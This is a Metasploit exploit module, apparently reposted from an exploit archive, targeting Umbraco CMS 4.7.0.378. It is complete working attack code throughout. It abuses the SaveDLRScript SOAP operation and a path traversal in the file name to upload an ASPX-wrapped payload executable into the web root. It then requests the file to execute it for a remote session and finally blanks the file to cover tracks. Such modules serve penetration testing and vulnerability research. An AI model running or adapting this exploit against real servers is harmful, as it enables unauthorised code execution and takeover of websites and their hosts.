Umbraco CMS Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize  
super(  
'Name' => 'Umbraco CMS Remote Command Execution',  
'Description' => %q{  
This module can be used to execute a payload on Umbraco CMS 4.7.0.378.  
The payload is uploaded as an ASPX script by sending a specially crafted  
SOAP request to codeEditorSave.asmx, which permits unauthorised file upload  
via the SaveDLRScript operation. SaveDLRScript is also subject to a path  
traversal vulnerability, allowing code to be placed into the web-accessible  
/umbraco/ directory.  
  
The module writes, executes and then overwrites an ASPX script; note that  
though the script content is removed, the file remains on the target. Automatic  
cleanup of the file is intended if a meterpreter payload is used.  
  
This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows  
7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have  
write permissions on the Windows Temp folder.  
},  
'Author' => [  
'Toby Clarke', # Vulnerability discovery and Metasploit module  
'juan vazquez' # Improved version of the Metasploit module  
],  
'Platform' => 'win',  
'References' =>  
[  
[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],  
[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons  
],  
'Targets' =>  
[  
[ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],  
],  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => 'Jun 28 2012'  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])  
], self.class)  
end  
  
#  
# Remove the asmx if we get a meterpreter.  
#  
def on_new_session(cli)  
if cli.type != 'meterpreter'  
print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")  
return  
end  
  
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")  
  
begin  
aspx = @upload_random + '.aspx'  
  
print_status("#{@peer} - Searching: #{aspx}")  
files = cli.fs.file.search("\\", aspx)  
if not files or files.empty?  
print_error("Unable to find #{aspx}. Please manually remove it.")  
return  
end  
  
files.each { |f|  
print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")  
cli.fs.file.rm(f['path'] + "\\" + f['name'])  
}  
print_status("#{@peer} - #{aspx} deleted")  
rescue ::Exception => e  
print_error("Unable to delete #{aspx}: #{e.message}")  
end  
end  
  
# Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'  
def exploit  
  
@peer = "#{rhost}:#{rport}"  
  
# Generate the ASPX containing the EXE containing the payload  
exe = generate_payload_exe  
aspx = Msf::Util::EXE.to_exe_aspx(exe)  
  
# htmlentities like encoding  
aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")  
  
uri_path = target_uri.path  
uri_path.path << "/" if uri_path[-1, 1] != "/"  
  
@upload_random = rand_text_alpha(rand(6) + 6)  
  
soap = <<-eos  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<SaveDLRScript xmlns="http://tempuri.org/">  
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>  
<oldName>string</oldName>  
<fileContents>#{aspx}</fileContents>  
<ignoreDebugging>1</ignoreDebugging>  
</SaveDLRScript>  
</soap:Body>  
</soap:Envelope>  
eos  
  
#  
# UPLOAD  
#  
  
attack_url = uri_path + "webservices/codeEditorSave.asmx"  
print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")  
print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")  
  
res = send_request_cgi({  
'uri' => attack_url,  
'method' => 'POST',  
'ctype' => 'text/xml; charset=utf-8',  
'headers' => {  
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",  
},  
'data' => soap,  
}, 20)  
  
if (! res)  
print_status("#{@peer} - Timeout: Trying to execute the payload anyway")  
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)  
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")  
else  
print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")  
end  
  
#  
# EXECUTE  
#  
  
upload_path = uri_path + "#{@upload_random}.aspx"  
print_status("#{@peer} - Executing #{upload_path}...")  
  
res = send_request_cgi({  
'uri' => upload_path,  
'method' => 'GET'  
}, 20)  
  
if (! res)  
print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")  
return  
end  
  
if (res.code < 200 or res.code >= 300)  
print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")  
return  
end  
  
#  
# 'DELETE' - note that the file will remain on the system, but the content will be wiped.  
#  
  
soap = <<-eos  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<SaveDLRScript xmlns="http://tempuri.org/">  
<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>  
<oldName>string</oldName>  
<fileContents></fileContents>  
<ignoreDebugging>1</ignoreDebugging>  
</SaveDLRScript>  
</soap:Body>  
</soap:Envelope>  
eos  
  
attack_url = uri_path + "webservices/codeEditorSave.asmx"  
print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")  
print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")  
  
res = send_request_cgi({  
'uri' => attack_url,  
'method' => 'POST',  
'ctype' => 'text/xml; charset=utf-8',  
'headers' => {  
'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",  
},  
'data' => soap,  
}, 20)  
  
if (! res)  
print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")  
return  
elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)  
print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")  
else  
print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")  
end  
handler  
end  
end  
`